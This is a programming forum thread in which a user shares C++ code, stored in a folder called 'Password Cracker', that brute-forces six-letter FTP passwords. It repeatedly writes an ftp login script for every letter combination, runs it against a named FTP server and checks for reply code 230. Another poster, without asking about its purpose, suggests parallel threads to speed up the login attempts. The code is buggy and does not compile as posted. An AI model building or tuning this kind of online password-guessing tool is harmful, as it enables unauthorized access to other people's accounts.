system() in for loop

[niskin]

I am running a loop which logs me into my ftp account. However, I need it to run VERY fast repeatedly. My problem is that, whether the login is successful or unsuccessful, it is quite slow because it has to then wait to login again etc. This is the code just for my login:

cout<< a << b << c << d << e << f <<"\n";
ofstream record ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
record<< a << b << c << d << e << f;
record.close();
ifstream readrecord ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
char password[6];
readrecord>> password;
ofstream ftpscript ( "c:\\Dave\\C-programming\\Password Cracker\\ftpscript.txt" );
ftpscript<< username <<"\n" << password <<"\n" <<"bye";
ftpscript.close();
system("cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.<my-website>.org.uk");

This code is in a for loop which needs to run at very high speeds. If I take out the system() command it runs at the speed I require, but if I leave it in (which I need to or the program will not be doing what I want it to) it does about one attempt to login every 2 seconds, that is very slow for a for loop.

[weaknessforcats]

Anytime you use the system command() you are at the mercy of the command. In this case, logging onto a server.

Can you batch this stuff up, do one logon and ftp an ftp the entire batch?

[niskin]

Well what I ideally want to do is instead of disconnecting from the server, keep logging on, however there seems to be no ftp command that runs a script except the ftp -s command, but I have to disconnect to use that again.

What do you mean by "do one logon and ftp an ftp the entire batch"?

[weaknessforcats]

Is there any way you can ftp all your data using one ftp?

You say you have a loop.

Can you not accumulate the data from the loop and then ftp it one shot?

[niskin]

No sadly not. I am using more than one password and some of them may be wrong. It's up to the user to get it right, so I need a loop.

[weaknessforcats]

Your next approach is to start a new thread on each system() call. That way the logons can proceed in parallel since there are no limits on the number of threads you can have running at once.

The drawback is you will need to use multithreading which may be a learning curve.

[niskin]

Have you got any websites you can point me to that will teach me how to do this?

[weaknessforcats]

From the way your paths are coded, it looks like you use Windows.

Your thread is a function.

The function must be a ThreadProc:

DWORD WINAPI ThreadProc(LPVOID);
 

That is, your function can have any name but it must have this prototype.

You call CreateThread(). One of the argument is your threadproc. You use the address of your function. Another argument is the LPVOID. What you put here shows up as the LPVOID argument when your function starts.

CreateThread() will call your function on its own thread. The thread exists as log as your function is running.

If you need to talk to your thread (like ask it to stop or do something new), you use an Event. There are functions for SetEvent and for the thread to detect and event, like WaitForSingleOb ject.

Start here.

[niskin]

This is what I have tried so far, but it's not working. The function I want it to start in a new thread is called six.

  if(strlen(letters)==6) {
                           HANDLE WINAPI CreateThread(
                           NULL,
                           0,
                           six,
                           NULL,
                           six(LPVOID),
                           NULL
                           );

What have I done wrong?

[niskin]

This is an update of my source code. I have put main() back to how it was originally and changed six() instead. Here is the source code for six():

int six() {
    // define the interface
    struct IRunnable {
    virtual void run() = 0;
    };
 
    // define the thread class
    class Thread {
    public:
    Thread(IRunnable *ptr) {
    _threadObj = ptr;
  }
  void start() {
  // use the Win32 API here
  DWORD threadID;
  ::CreateThread(0, 0, threadProc, _threadObj, 0, &threadID);
  }
 
  protected:
  // Win32 compatible thread parameter and procedure 
  IRunnable *_threadObj; 
  static unsigned long __stdcall threadProc(void* ptr) {
  ((IRunnable*)ptr)->run();
  return 0;
  }   
};
 
  // define class with a threadable method
  class MyObject : IRunnable {
  public:
  // the thread procedure
  virtual void run() {
        char letters[100];
    char username[20];
    ifstream user ( "username.txt" );
    user>> username;
    user.close();
    char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
    ifstream record ( "record.txt" );
    record>> letters;
    record.close();
    for(char a = letters[0]; a <= alphabet[25]; a++)
    {
             for(char b = letters[1]; b <= alphabet[25]; b++)
             {
                      for(char c = letters[2]; c <= alphabet[25]; c++)
                      {
                           for(char d = letters[3]; d <= alphabet[25]; d++)
                           {
                                    for(char e = letters[4]; e <= alphabet[25]; e++)
                                    {
                                             for(char f = letters[5]; f <= alphabet[25]; f++)
                                             {
                                                      FILE *success;
                                                      success=fopen("success.txt", "w+");
                                                      fprintf(success, "");
                                                      fclose(success);
                                                      cout<< a << b << c << d << e << f <<"\n";
                                                      ofstream record ( "record.txt" );
                                                      record<< a << b << c << d << e << f;
                                                      record.close();
                                                      ifstream readrecord ( "record.txt" );
                                                      char password[6];
                                                      readrecord>> password;
                                                      ofstream ftpscript ( "ftpscript.txt" );
                                                      ftpscript<< username <<"\n" << password <<"\n" <<"bye";
                                                      ftpscript.close();
                                                      char   psBuffer[128];
                                                      FILE   *pPipe;
                                                      /* Run command so that it writes its output to a pipe. Open this
                                                      * pipe with read text attribute so that we can read it 
                                                      * like a text file. 
                                                      */
                                                      if( (pPipe = _popen( "cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.collateraldesign.co.uk", "rt" )) == NULL )
                                                      exit( 1 );
 
                                                      /* Read pipe until end of file. */
                                                      while( !feof( pPipe ) )
                                                      {
                                                      if( fgets( psBuffer, 128, pPipe ) != NULL )
                                                      //printf( psBuffer );
                                                      FILE *success;
                                                      success=fopen("success.txt", "a+");
                                                      fprintf(success, psBuffer);
                                                      fclose(success);
                                                      }
 
                                                      char reada[20];
                                                      char readb[20];
                                                      char readc[20];
                                                      char readd[20];
                                                      char reade[20];
                                                      char readf[20];
                                                      char readg[20];
                                                      char readh[20];
                                                      char readi[20];
                                                      char readj[20];
                                                      char readk[20];
                                                      char readl[20];
                                                      char readm[20];
                                                      int readn;
 
                                                      ifstream read ( "success.txt" );
                                                      read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
                                                      read.close();
                                                      //cout<< readn;
                                                      if (readn == 230){
                                                                cout<< "\n\nPASSWORD CRACKED. PASSWORD IS: " << password;
                                                                cin.get();
                                                      }
 
                                                      }
                                             }
                                    }
                           }    
                      }
             }
  }
}
 
 MyObject *obj = new MyObject();
 Thread thread = new Thread(obj);
 thread->start();
 
}

These lines:

 MyObject *obj = new MyObject();
 Thread thread = new Thread(obj);
 thread->start();

are not compiling. Any ideas why?